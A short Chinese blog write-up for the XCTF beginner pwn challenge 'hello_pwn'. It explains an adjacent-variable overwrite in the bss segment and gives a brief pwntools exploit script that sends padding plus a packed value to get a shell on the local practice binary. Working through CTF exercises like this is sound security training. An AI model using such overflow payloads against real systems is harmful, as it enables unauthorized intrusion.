攻防世界_pwn_hello_pwn(萌新版)

首发于鄙人博客:传送门

0x00 前言

file checksec已省略。64位elf程序

0x10 步骤

0x11 main函数

攻防世界_pwn_hello_pwn(萌新版)

在main函数中我们可以看到,它让我们输入unk_601068的值,而如果我们想getshell,那么我们便需要将dword_60106c的值赋为1853186401。

0x11 bss段观察

攻防世界_pwn_hello_pwn(萌新版)

可以看到这两个数据的距离并不远,所以当我们输入第一个值二点时候,我们便可以先输入4个无关数据,然后再将1853186401的值打包发给dword。即payload为payload = 'a'*4+p64(1853186401)

0x20 exp

from pwn import *
sh = process("./hello_pwn")
payload = 'a'*4+p64(1853186401)
sh.recvuntil("bof")
sh.sendline(payload)
sh.interactive()
攻防世界_pwn_hello_pwn(萌新版)攻防世界_pwn_hello_pwn(萌新版) TedLau_W 发布了15 篇原创文章 · 获赞 1 · 访问量 255 私信 关注
上一篇:XCTF pwn level2


下一篇:XCTF PWN高手进阶区之JS